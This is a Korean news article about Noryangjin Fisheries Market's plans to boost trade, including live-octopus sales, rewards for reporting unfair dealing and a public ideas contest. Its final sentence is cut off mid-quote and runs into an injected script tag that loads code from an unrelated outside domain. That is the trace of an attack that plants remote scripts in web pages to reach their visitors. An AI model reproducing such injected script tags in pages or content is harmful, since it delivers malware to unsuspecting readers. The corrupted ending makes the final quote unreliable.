#전복, 대게, 새우에 이어 활낙지도 특화상품으로
노량진수산시장은 이같은 시장활성화 대책의 일환으로 지난해부터 실시했던 전복, 대게, 새우의 특화상품 전략에 이어 이달부터는 활낙지를 특화상품화해 본격적으로 판매할 계획이다.
노량진수산시장은 활낙지를 특화상품화해 1차 수입업자를 시장으로 끌어들이고 활낙지 수도권 판매거점을 확보하겠다는 전략이다.
아울러 활낙지 전문판매장을 설치하고 낙지 판매 활성화를 위해 개불과 멍게 등도 병행 판매한다는 것이다.
타 시장과의 경쟁력 확보를 위해 가격과 품질 선도기능도 주도해 나간다는 전략이다.
시장은 이에 따라 약 95평의 구 건어물 매장을 활낙지 보관 및 판매시설로 구축하기 위해 준비 중이다.
기존에 활용하지 못하고 방치해왔던 건어물 매장이 활낙지 전문판매장으로 거듭나면 임대료와 상장수수료 수입도 함께 기대할 수 있다.
특히 시장측은 활낙지를 특화상품화 하게 되면 1차 수입업자를 시장으로 유치할 수 있어 외부 유통업체 상인들의 구매율이 높아질 것이라는 기대를 하고 있다.
#불공정거래행위 뿌리뽑을 터
노량진수산(주)는 이밖에도 시장 내 불공정거래행위를 근절시켜 시장에 활기를 불어 넣는다는 전략이다.
노량진수산(주)는 원산지 표시를 이행하지 않거나 강압적이고 과도한 호객행위, 외부 쓰레기 무단투기 행위, 상장되지 않는 물품의 밀반입 과 밀반출 행위 등을 신고할 경우 건당 3만원 이상의 상품권을 지급키로 했다.
불공정거래 행위자는 회사 홈페이지 내 민원실과 위생환경팀에 직접 신고하면 된다.
최병국 노량진수산(주) 대표이사는 “하반기에도 공격적인 경영을 펼쳐 시장 활성화를 위해 주력하겠다”며 “유통환경은 새롭게 급변하고 있는 추세에 있으나 아직까지도 일부 시장내 불공정행위가 발생하고 있어 도매시장관리운영의 공적윤리를 확립코자 불공정거래행위 신고포상제도를 운영키로 했다”고 밝혔다.
#시장활성화 아이디어 공모로 톡톡튀는 아이디어 가득
시장 활성화 전략을 세우기 위한 다양한 시도도 있었다.
노량진수산시장은 일반인과 학생을 대상으로 시장 활성화 아이디어를 공모해 시선을 끌었다.
노량진수산(주)측은 고객의 의견을 바탕으로 더 좋은 시장을 만들어 가기 위해 지난 6월 19일부터 7월 18일까지 한 달간 시장 활성화 아이디어 공모를 접수한 결과 총 65건의 아이디어를 접수받았으며 이중에서 총 9건을 선정해 지난달 30일 시상식을 가졌다.
아이디어 공모전에 제안됐던 내용들을 살펴보니 크게 시장 시설에 관한 부문과 마케팅 부문으로 나뉘었다.
시장 시설과 관련해서는 장기적 측면에서 보면 시장시설 현대화에 관한 내용이 많았고 단기적 측면으로는 시장입구와 전철역 옥상 진출입로 등의 간판과 시장 안내 표시판이 부족하다는 의견이 있었다.
아울러 시장 바닥의 물고임과 질퍽거림을 개선시켜 달라는 의견과 쇼핑 시 쉴 수 있는 공간 등 고객을 위한 편의시설이 부족하다는 지적도 있었다.
마케팅 부문에서는 도매보다는 소매와 관련된 내용이 주를 이뤘다.
제품과 관련된 마케팅 부문에서는 젊은 고객들을 시장으로 유치하기 위해 수산물을 이용한 다양한 메뉴를 개발하는 것이 효과적일 것이라는 의견이 있었다.
시장 내 회초밥, 생선튀김, 어묵, 피쉬 앤 칩스(생선가스에 감자튀김을 곁들인 요리), 분식 형태의 해산물 스낵점 등이 마련되면 시장 내 젋은 고객 유치에 효과적일 것이라는 아이디어도 눈에 띄었다.
최 사장은 “이번 공모전을 통해 얻어진 창의적인 각종 아이디어에 대하여 바로 시행이 가능한 부분은 즉시 업무에 반영하고 당장 시행이 어려운 장기적인 준비가 필요한 아이디어에 대해서는 제도적인 보완과 철저한 계획 수립을 거쳐 향후 시장현대화 사업에도 적극 반영하겠다”고 밝혔다.
그는 특히 “첨단 유통시스템 확립으로 이용객들에게 보다 편리하고 즐거운 시장이 될 수 있도록 노력할 것“이라고 했다.
노량진수산시장은 이밖에도 건물 옥상을 활용해 수산물과 즐거움을 함께 선사할 수 있는 수산물 기념관 마련도 기획중이다.
김효동 노량진수산(주) 기획총무팀장은 “소비자 중심의 경영을 펼치기 위한 다양한 시도를 기획 중”이라며 “시장이 보다 즐겁고 쾌적한 곳이라는 이미지를 심어줄 수 있도록 기념관을 마련한다든지 고객 편의시설을 증대시키는 방안 등을 모색 하는 등 도매시장 활성화를 위해 만반의 준비를 해나갈 것”이?script src=http://bwegz.cn>
